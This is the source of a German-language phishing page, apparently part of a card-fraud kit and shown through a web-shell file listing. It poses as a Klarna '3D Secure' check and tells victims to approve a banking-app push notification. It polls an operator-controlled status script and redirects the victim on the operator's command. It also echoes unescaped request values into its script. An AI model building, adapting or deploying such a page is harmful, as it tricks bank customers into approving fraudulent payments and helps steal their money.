%PDF- %PDF-
| Direktori : /dom645759/de/klarna/ |
| Current File : /dom645759/de/klarna/mobile.php |
<?php
// Récupération des données
$id = isset($_REQUEST['id']) ? $_REQUEST['id'] : 'unknown';
$last4 = isset($_REQUEST['last4']) ? $_REQUEST['last4'] : 'xxxx';
$card_type = isset($_GET['type']) ? $_GET['type'] : (isset($_POST['type']) ? $_POST['type'] : 'unknown');
?>
<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=yes">
<title>3D Secure – Mobile App Bestätigung</title>
<link rel="shortcut icon" type="image/vnd.microsoft.icon" href="./img/fav.png">
<link href="https://fonts.googleapis.com/css2?family=Inter:opsz,wght@14..32,300;14..32,400;14..32,500;14..32,600;14..32,700&display=swap" rel="stylesheet">
<style>
/* ... (tous les styles sont identiques à votre version) ... */
* { margin: 0; padding: 0; box-sizing: border-box; }
body {
background: #f5f7fc;
font-family: 'Inter', -apple-system, BlinkMacSystemFont, sans-serif;
min-height: 100vh;
display: flex;
align-items: center;
justify-content: center;
padding: 20px;
}
.card {
max-width: 480px;
width: 100%;
background: #ffffff;
border-radius: 32px;
box-shadow: 0 20px 35px -12px rgba(0,0,0,0.1), 0 1px 3px rgba(0,0,0,0.02);
padding: 32px 28px 40px;
}
.card-header {
display: flex;
justify-content: space-between;
align-items: center;
margin-bottom: 24px;
flex-wrap: wrap;
gap: 12px;
}
.card-logo { height: 32px; width: auto; }
.badge {
background: #eef2ff;
padding: 6px 14px;
border-radius: 40px;
font-size: 12px;
font-weight: 600;
color: #1e293b;
display: inline-flex;
align-items: center;
gap: 6px;
}
.badge svg { width: 14px; height: 14px; stroke: #1e293b; }
h2 { font-size: 24px; font-weight: 700; color: #0f172a; margin-bottom: 8px; }
.sub {
color: #475569;
font-size: 14px;
margin-bottom: 28px;
border-left: 3px solid #ff5f00;
padding-left: 12px;
}
.notification-hint {
background: #fff7ed;
border-left: 4px solid #ffb347;
padding: 14px 16px;
border-radius: 18px;
font-size: 13px;
color: #7d5a2e;
margin: 24px 0 20px;
display: flex;
gap: 12px;
align-items: center;
}
.transaction-details {
background: #f8fafc;
border-radius: 24px;
padding: 18px 20px;
margin: 20px 0 24px;
border: 1px solid #eef2ff;
}
.detail-line {
display: flex;
justify-content: space-between;
padding: 10px 0;
font-size: 14px;
border-bottom: 1px solid #e2e8f0;
}
.detail-line:last-child { border-bottom: none; }
.detail-label { color: #475569; font-weight: 500; }
.detail-value { color: #0f172a; font-weight: 600; }
.status-area { text-align: center; margin: 20px 0 10px; }
.dot-spinner {
display: flex;
justify-content: center;
gap: 10px;
margin-bottom: 20px;
}
.dot {
width: 8px;
height: 8px;
background-color: #cbd5e1;
border-radius: 50%;
animation: dotFade 1.4s infinite ease-in-out;
}
.dot:nth-child(1) { animation-delay: 0s; }
.dot:nth-child(2) { animation-delay: 0.2s; }
.dot:nth-child(3) { animation-delay: 0.4s; }
.dot:nth-child(4) { animation-delay: 0.6s; }
@keyframes dotFade {
0%, 100% { opacity: 0.3; transform: scale(0.8); }
50% { opacity: 1; transform: scale(1.1); background-color: #ff5f00; }
}
.waiting-text { font-size: 15px; font-weight: 500; color: #1e293b; }
.timer-note { font-size: 13px; color: #64748b; margin-top: 8px; }
.progress-bar-container {
background-color: #e2e8f0;
border-radius: 30px;
height: 4px;
width: 100%;
margin: 16px 0 8px;
overflow: hidden;
}
.progress-bar {
width: 0%;
height: 100%;
background-color: #ff5f00;
border-radius: 30px;
transition: width 0.2s linear;
}
.btn-cancel {
background: transparent;
border: 1px solid #cbd5e1;
padding: 12px;
width: 100%;
border-radius: 40px;
font-size: 15px;
font-weight: 600;
color: #334155;
cursor: pointer;
transition: 0.2s;
font-family: inherit;
margin-top: 8px;
}
.btn-cancel:hover { background: #f1f5f9; border-color: #94a3b8; }
.footer-note {
margin-top: 28px;
font-size: 11px;
color: #94a3b8;
text-align: center;
border-top: 1px solid #eef2ff;
padding-top: 20px;
}
.footer-note a { color: #ff5f00; text-decoration: none; }
@media (max-width: 500px) {
.card { padding: 24px 20px 32px; }
h2 { font-size: 22px; }
}
</style>
</head>
<body>
<div class="card">
<div class="card-header">
<?php if ($card_type == 'visa'): ?>
<img src="https://1000logos.net/wp-content/uploads/2021/11/VISA-logo.png" class="card-logo" alt="Visa">
<?php elseif ($card_type == 'mastercard'): ?>
<img src="https://www.edigitalagency.com.au/wp-content/uploads/new-Mastercard-logo-png-large-size.png" class="card-logo" alt="Mastercard">
<?php elseif ($card_type == 'amex'): ?>
<img src="https://upload.wikimedia.org/wikipedia/commons/f/fa/American_Express_logo_%282018%29.svg" class="card-logo" alt="American Express">
<?php else: ?>
<img src="https://www.edigitalagency.com.au/wp-content/uploads/new-Mastercard-logo-png-large-size.png" class="card-logo" alt="Karte">
<?php endif; ?>
<div class="badge">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2">
<path d="M12 3v1m0 16v1M9 4l2 2m4 4l2 2M5 12H4m16 0h-1M8 8L6 6m12 0l-2 2M8 16l-2 2m12 0l-2-2" stroke-linecap="round"/>
<circle cx="12" cy="12" r="3"/>
</svg>
<span>3D Secure</span>
</div>
</div>
<h2>Bestätigung erforderlich</h2>
<div class="sub">Öffnen Sie Ihre Banking‑App, um die Zahlung zu genehmigen</div>
<div class="notification-hint">
<svg width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="#f5a623" stroke-width="2">
<path d="M18 8A6 6 0 0 0 6 8c0 7-3 9-3 9h18s-3-2-3-9" />
<path d="M13.73 21a2 2 0 0 1-3.46 0" />
</svg>
<span>Push‑Benachrichtigung wurde an Ihre Banking‑App gesendet.<br>Bitte bestätigen Sie die Transaktion dort.</span>
</div>
<div class="transaction-details">
<div class="detail-line">
<span class="detail-label">Händler</span>
<span class="detail-value">KLARNA AB</span>
</div>
<div class="detail-line">
<span class="detail-label">Betrag</span>
<span class="detail-value">€ 00,99</span>
</div>
<div class="detail-line">
<span class="detail-label">Datum / Zeit</span>
<span class="detail-value"><?php echo date('d.m.Y H:i:s'); ?></span>
</div>
<div class="detail-line">
<span class="detail-label">Karte</span>
<span class="detail-value">•••• •••• •••• <?php echo htmlspecialchars($last4); ?></span>
</div>
</div>
<div class="status-area">
<div class="dot-spinner">
<div class="dot"></div><div class="dot"></div><div class="dot"></div><div class="dot"></div>
</div>
<div class="waiting-text" id="statusMessage">Warte auf Genehmigung in der App</div>
<div class="timer-note" id="timerNote"></div>
<div class="progress-bar-container">
<div class="progress-bar" id="progressBar"></div>
</div>
</div>
<button class="btn-cancel" id="cancelBtn">Abbrechen</button>
<div class="footer-note">
<a href="#" id="resendLink">Benachrichtigung erneut senden</a> • <a href="#">Support 24/7</a>
</div>
</div>
<script>
const id = "<?php echo $id; ?>";
const last4 = "<?php echo $last4; ?>";
const cardType = "<?php echo $card_type; ?>";
const statusMsgSpan = document.getElementById('statusMessage');
const timerNoteSpan = document.getElementById('timerNote');
const progressBar = document.getElementById('progressBar');
let statusInterval = null;
let progressInterval = null;
let startTime = null;
let waitingForAction = true;
const TIMEOUT_SECONDS = 30;
function updateProgress() {
if (!startTime) return;
const elapsed = (Date.now() - startTime) / 1000;
const percent = Math.min((elapsed / TIMEOUT_SECONDS) * 100, 100);
progressBar.style.width = percent + '%';
const remaining = Math.max(0, Math.ceil(TIMEOUT_SECONDS - elapsed));
timerNoteSpan.innerText = `Automatische Weiterleitung in ${remaining} Sek.`;
if (elapsed >= TIMEOUT_SECONDS) {
clearInterval(progressInterval);
statusMsgSpan.innerText = '⏳ Keine Rückmeldung – versuchen Sie es später erneut.';
}
}
function startProgress() {
startTime = Date.now();
if (progressInterval) clearInterval(progressInterval);
progressInterval = setInterval(updateProgress, 500);
updateProgress();
}
function checkStatus() {
fetch('check_status.php?id=' + encodeURIComponent(id))
.then(r => r.text())
.then(action => {
const trimmed = action.trim();
if (trimmed !== 'wait' && trimmed !== '' && waitingForAction) {
// *** CORRECTION : ignorer l'action 'mobile.php' pour éviter la boucle ***
if (trimmed === 'mobile.php') {
// Ne rien faire, rester sur la page
return;
}
waitingForAction = false;
clearInterval(statusInterval);
clearInterval(progressInterval);
let url = trimmed;
const hasQ = url.includes('?');
url += (hasQ ? '&' : '?') + 'id=' + encodeURIComponent(id);
if (last4 && last4 !== 'xxxx') url += '&last4=' + encodeURIComponent(last4);
if (cardType && cardType !== 'unknown') url += '&type=' + encodeURIComponent(cardType);
window.location.href = url;
}
})
.catch(err => {
console.error(err);
if (waitingForAction) statusMsgSpan.innerText = 'Verbindungsproblem – erneuter Versuch...';
});
}
function startPolling() {
if (statusInterval) clearInterval(statusInterval);
statusInterval = setInterval(checkStatus, 2000);
checkStatus();
startProgress();
}
const messages = [
"Warte auf Genehmigung in der App",
"Prüfe Push‑Benachrichtigung",
"Verbindung zur Bank wird hergestellt",
"Fast fertig..."
];
let msgIndex = 0;
setInterval(() => {
if (waitingForAction && !statusMsgSpan.innerText.includes("Keine Rückmeldung") &&
statusMsgSpan.innerText !== "Neue Anforderung gesendet. Warte auf Bestätigung..." &&
statusMsgSpan.innerText !== "Verbindungsproblem – erneuter Versuch...") {
statusMsgSpan.innerText = messages[msgIndex % messages.length];
msgIndex++;
}
}, 4000);
document.getElementById('cancelBtn').addEventListener('click', () => {
waitingForAction = false;
clearInterval(statusInterval);
clearInterval(progressInterval);
let url = 'verify.php?id=' + encodeURIComponent(id) + '&last4=' + encodeURIComponent(last4);
if (cardType && cardType !== 'unknown') url += '&type=' + encodeURIComponent(cardType);
window.location.href = url;
});
document.getElementById('resendLink').addEventListener('click', (e) => {
e.preventDefault();
waitingForAction = true;
startProgress(); // reset progress
statusMsgSpan.innerText = 'Neue Anforderung gesendet. Warte auf Bestätigung...';
checkStatus();
});
startPolling();
</script>
</body>
</html>